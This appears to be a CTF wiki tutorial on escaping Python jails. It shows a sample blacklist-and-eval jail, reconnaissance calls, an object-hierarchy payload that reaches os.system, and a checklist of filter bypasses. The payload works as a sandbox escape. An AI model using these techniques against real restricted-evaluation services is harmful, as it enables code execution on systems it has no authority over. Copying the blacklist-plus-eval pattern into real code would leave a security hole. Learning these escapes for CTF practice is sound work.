Athena Wiki

Python Jails (pyjails)

miscintermediate

Escape restricted Python execution environments in CTF misc challenges.

miscpythonjailsandboxescapeevalexecbuiltins

Python Jails (pyjails)

Python jails (pyjails) are CTF challenges that run restricted Python interpreters blocking built-in functions, imports, keywords, and other dangerous operations to test contestants' ability to escape sandbox restrictions and execute arbitrary code. How it works: Jails filter dangerous keywords (import, open, __), limit code length, or blacklist specific strings; bypass via string encoding/obfuscation (chr, hex, string methods), accessing __builtins__ via alternative paths, code object manipulation, or finding gaps in the filter list. Why it matters: Teaches deep Python internals (dict, getattribute, frame objects, bytecode); mimics real-world sandbox escapes (CTF services, online judges, restricted evaluation); common in misc category; fosters creative problem-solving and language mastery.

Understanding the Jail

First, understand what's restricted. Common setups:

# Typical pyjail server code
import sys
code = input("> ")

# Filter examples
if any(kw in code for kw in ['import', 'open', 'os', 'sys', '__']):
    print("BANNED!")
    exit()

eval(code)   # or exec(code)

Your goal: execute os.system('cat flag.txt') or open('flag.txt').read() despite restrictions.

Escape Methodology

Reconnaissance Inside the Jail

Before escaping, map the environment:

dir()               # what names are available
dir(__builtins__)   # what builtins exist
globals()           # current global namespace
locals()            # current local namespace
vars()              # same as locals()

Identify the Filter Type

Test each banned keyword individually. Is __ blocked? Is import blocked? Are specific characters banned? Is there a length limit? This determines which bypass technique to use.

Apply the Right Bypass

Choose from the techniques below based on what's restricted. Start with the simplest (breakpoint(), direct __import__) before reaching for the object hierarchy.

Execute the Payload

Run os.system('cat flag.txt') or open('flag.txt').read(). If os is unavailable, try subprocess, pty, or reading via pathlib.

Escape Techniques

Technique 1: Access __builtins__ via Object Model

Python's object hierarchy lets you reach os and sys without import:

# From any class, traverse MRO to reach builtins
''.__class__.__mro__[-1].__subclasses__()

# Find a class with __init__ that has __globals__ containing 'os'
[c for c in ''.__class__.__mro__[-1].__subclasses__()
 if 'os' in getattr(c.__init__, '__globals__', {})]

# Short version - usually works:
().__class__.__bases__[0].__subclasses__()[<N>].__init__.__globals__['os'].system('id')

Index varies by Python version

The subclass index [N] changes between Python versions. Use a loop to find the right one, or check in a matching local environment.

Common Escape Templates

Checklist

  • What keywords are banned? (test each: import, open, os, sys, __)
  • Are dunder attributes accessible via getattr?
  • Is eval or exec available? Can you nest them?
  • Try breakpoint() → drops to pdb
  • Try import if import keyword is banned
  • Try string concatenation to split banned words
  • Try chr() to encode banned characters
  • Find the right subclass index for your Python version

Last updated on

On this page